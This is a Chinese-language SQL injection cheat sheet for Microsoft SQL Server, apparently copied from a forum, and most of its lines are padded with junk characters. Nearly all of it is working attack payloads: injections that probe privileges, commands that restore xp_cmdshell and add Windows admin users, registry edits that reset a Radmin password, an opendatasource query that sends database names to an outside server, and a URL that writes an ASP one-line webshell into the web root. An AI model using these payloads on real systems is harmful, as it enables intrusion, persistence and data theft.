//看看是什么权限的2 v( W$ b9 t2 E$ X1 ?; a& u. M- g# e
and 1=(Select IS_MEMBER('db_owner'))
8 J) h5 m8 R! I- t1 l1 `5 D& wAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--8 s t3 a8 ^( g# n4 K2 P; ~
9 U- ?$ |- \$ G+ u6 i
//检测是否有读取某数据库的权限
4 b8 B# Q0 h- V6 H, D5 K$ Nand 1= (Select HAS_DBACCESS('master'))
% P6 ~- ]# ?% }' r0 y) p9 N( iAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --2 E2 n0 x; l# g/ _* `9 p% o3 X
, x0 D/ a4 P \3 ]' j9 q7 G# t" j
数字类型% w, C/ g/ M( [$ V8 C4 a& y
and char(124)%2Buser%2Bchar(124)=0
3 D/ }* d- T: S, o" }/ e0 ~/ K, F% m# E, ^- f, ]$ R* x
字符类型
" T1 b# `$ ^" A$ P0 _/ I6 `7 S' and char(124)%2Buser%2Bchar(124)=0 and ''='- Q [3 t0 D7 q/ B* S5 a
9 ?# E- _' N) H( a5 o/ D- V
搜索类型
" C2 L- k# Q8 X' P! e' and char(124)%2Buser%2Bchar(124)=0 and '%'='- P# C! u. r$ v+ K$ i+ S9 q% Q
3 P5 S2 |( |8 ?6 p' O. M爆用户名" l9 p' w1 @7 [- }$ P5 _
and user>0
0 _; }- H* D& Y; K' and user>0 and ''='/ R( g6 P" r9 }8 F' F( H/ s
" s9 u+ [8 D% T: J2 c* g. r检测是否为SA权限
# k& Y7 ?7 k0 _7 {7 Z! mand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
6 i2 A6 `: f; |0 W6 TAnd char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --" p, r5 |5 u& ]1 A; r
+ |; X3 i5 i, ~
检测是不是MSSQL数据库4 _- T4 ?1 h' c, w0 t% ~9 \7 Y
and exists (select * from sysobjects);--9 ~7 K5 U7 \( ~7 Z6 E
$ i2 p: r$ w6 p \7 k# U* l检测是否支持多行
& n" [* }2 w) u! e;declare @d int;--
# J- W& O H/ y: i4 F- P8 K7 D/ N3 _, t- q" Z4 Z, S1 K7 _
恢复 xp_cmdshell( K9 h4 N+ ^& v6 J: I8 S
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--) n4 I/ j5 R6 V( H* v
% _7 ^. `0 u& U% i$ D
2 c0 U) G) \7 J6 u4 j; Z, ~8 j& Nselect * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')
9 l4 L0 R' n; n* V' l$ P" \7 W9 i+ `' ?0 y
//-----------------------
$ p7 o( J7 j( m// 执行命令
?5 W* K( k2 v }( e//-----------------------
/ E- i2 n9 M1 U$ Z. M" I2 @: Q- f* Z首先开启沙盘模式:- R9 W4 k; i2 s7 N5 F5 S; o; f' ^
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
8 [ w. H1 V4 W" j' q8 O7 \( [, Y. b0 N" D
然后利用jet.oledb执行系统命令
* G6 G; \( { Y6 |7 M Z, Nselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
# c* t$ |( S/ Q# z" W! g( w' J- r/ B3 H; L9 |
执行命令
- ~; C" t8 p4 O/ \7 z7 \;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--$ S8 m& ~( q! f% H1 x
# V$ E8 @5 C, C: vEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'2 @+ ~- `" b. L8 m) Z7 m
+ A" `( z9 [: V6 g判断xp_cmdshell扩展存储过程是否存在:
) D$ U6 ~% r! {3 M& y ~http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
, F% i, d- \. a$ Y+ l4 N
( t5 Z, M( X8 d. q" m: ]写注册表$ U/ N7 g o3 x ]* X. T
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1# p/ P* u. A! O( B# f9 e5 ?6 ]) K! W
) o2 B1 ?- \- lREG_SZ3 I; L- ?+ `6 {% ~) c
" i" T* j1 h$ r# E: Z4 r读注册表9 L" ^, o" @. M& u
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
& L4 u( U( h K. ? w! N) ]
3 w$ s" {) n% m& o8 {读取目录内容* M8 c/ j S/ O2 A9 g" \
exec master..xp_dirtree 'c:\winnt\system32\',1,1
0 c' D0 r' d4 W1 ?7 j$ `; ^- f/ }# o9 j* ~4 X( ?2 C* \
2 B; e3 C+ J" {9 ?/ q- B: B
数据库备份
4 B( x( K9 i3 G0 j* Pbackup database pubs to disk = 'c:\123.bak'. V2 ~- P! d& O* l
, k1 n$ s- l/ n/ Y) W$ t5 e//爆出长度
! j1 ~2 \" M5 O3 {7 z% p7 p: fAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
$ e# |/ N' Q0 Y& s P/ q( K- f) L* h8 U3 p
! b4 x( z! x! `) S0 `. j6 X8 @' j# T, ~6 `, ~3 s
更改sa口令方法:用sql综合利用工具连接后,执行命令:. Q6 o6 O1 @( B8 M3 H+ _. D5 q
exec sp_password NULL,'新密码','sa'
6 R5 t7 b9 }+ ]) g+ M$ i v4 C! U; T' {
添加和删除一个SA权限的用户test:' H2 L. t+ E4 j& O L j8 P
exec master.dbo.sp_addlogin test,9530772) T& i; S0 W6 Q2 ]5 ^+ y
exec master.dbo.sp_addsrvrolemember test,sysadmin
3 \# L1 ]3 n) ?& t6 v3 o, Z4 |; ~" }# G/ g7 N
删除扩展存储过过程xp_cmdshell的语句:
$ ]/ ]3 N( `' L3 v1 h% Zexec sp_dropextendedproc 'xp_cmdshell'
. V! I8 q% P% @9 Y% s" m, k
2 N( q* d5 r" Q V1 z U Q添加扩展存储过过程
- B( e3 H5 h& g& u' ]EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'; \" {* ~# o7 m
GRANT exec On xp_proxiedadata TO public
( I# z5 @' m2 U8 H7 c( b: y+ K2 v/ e# J n* y4 f
4 i% [( J$ n7 T: t
停掉或激活某个服务。/ `+ x0 @7 }! E$ i& d0 {6 `
' ]# V/ W+ q2 n+ {% [/ v5 z4 f" C
exec master..xp_servicecontrol 'stop','schedule'. c2 h$ C& I% U0 i2 U% R
exec master..xp_servicecontrol 'start','schedule'
$ z0 y7 l% {( r/ ], u6 O' E3 ^0 [ T
! u+ l3 E) ]) O$ A+ I) P# Rdbo.xp_subdirs
( F) c( d6 R' B3 R g- z) C* O1 G, b3 p; c* z! h3 x
只列某个目录下的子目录。/ H! H' p- ?+ K1 w4 T& F
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp', H4 i* ]/ k/ d0 y: k$ U* M
+ R- f# H$ r+ @# ^1 _ I1 X! ldbo.xp_makecab
3 F, A1 g$ O- x5 ?! l" O- {
) ~. d) l( c" b' r将目标多个档案压缩到某个目标档案之内。
+ B$ |0 k% _! ?! V所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。- k1 F8 x* g2 ^" e% l; D4 E6 Y& O' U. `
6 x# _& X/ w: v. s" n7 U; Z6 R! h7 Z
dbo.xp_makecab
/ L* j, c9 p. ]9 H8 A4 r! z! r! z'c:\test.cab','mszip',1,
z- Q8 o+ H7 f4 w; V5 E X( e'C:\Inetpub\wwwroot\SQLInject\login.asp',
0 p. r" B8 p w0 L'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'( l& ~1 a- x$ P$ C5 t! ~+ M5 D
4 J9 B$ i! a7 S) ` `
xp_terminate_process
, V& M3 ^* s& e" L8 K* L( D
' ]5 V8 v. O3 C: N1 z0 Y停掉某个执行中的程序,但赋予的参数是 Process ID。5 G3 J6 A; R7 C3 J7 M
利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID k% ~, j% V" d l9 g$ G$ s" s
, |: O( B7 t, G2 m" \* P& Fxp_terminate_process 2484
0 H2 q9 M1 l+ ?8 h5 n$ w7 s4 D/ }9 A9 z/ I
xp_unpackcab5 e3 s( W# N% N: x
) ?7 w# }; C) g; z; b解开压缩档。
6 a2 B3 P) j6 C+ _: X, d+ ~% X- v" t( k0 G( y9 ]& Q+ @5 p5 Q
xp_unpackcab 'c:\test.cab','c:\temp',1
9 \: k5 W: T3 H5 {
/ X& [9 U s* Y% Z6 a+ g
" J c* ]6 c- F" p; o' ]某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234: [, @. N" G+ c1 b; Q, X: z- ]6 y
* i6 p1 B0 U# N6 T9 Ucreate database lcx;
+ W" a' T% C( w* n* ?# |Create TABLE ku(name nvarchar(256) null);, M! f) V& V( V! r- \
Create TABLE biao(id int NULL,name nvarchar(256) null);
8 W- E0 e( ]8 ?6 g4 k, E1 O
6 c# T) E, ?+ W, ^8 P* f//得到数据库名( m) Q& J' y0 |' E1 b6 }
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases& X Q/ c" n; |* `9 U0 A E c7 @
4 `6 H1 F; O; |, X) f2 @& Q7 P) N& ?! P0 P
//在Master中创建表,看看权限怎样
( F# X% s/ L0 O. ZCreate TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--: G6 n e8 m0 K. g' R
, B$ Y9 T/ h2 [' R: i2 Q. k& P: q用 sp_makewebtask直接在web目录里写入一句话马:5 i7 P5 a- @5 F5 {& a
http://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--) o( l: G {0 d2 _
5 S8 Q' O( y8 ^# ~7 v: {+ j. Z* P//更新表内容
: `' R+ b: [# F4 E7 SUpdate films SET kind = 'Dramatic' Where id = 1238 u0 M! o( n$ i; F) d
# |& x- e) M& |+ d1 v- K, P
//删除内容
/ q/ z( |# h# h: ?) e$ Hdelete from table_name where Stockid = 3 |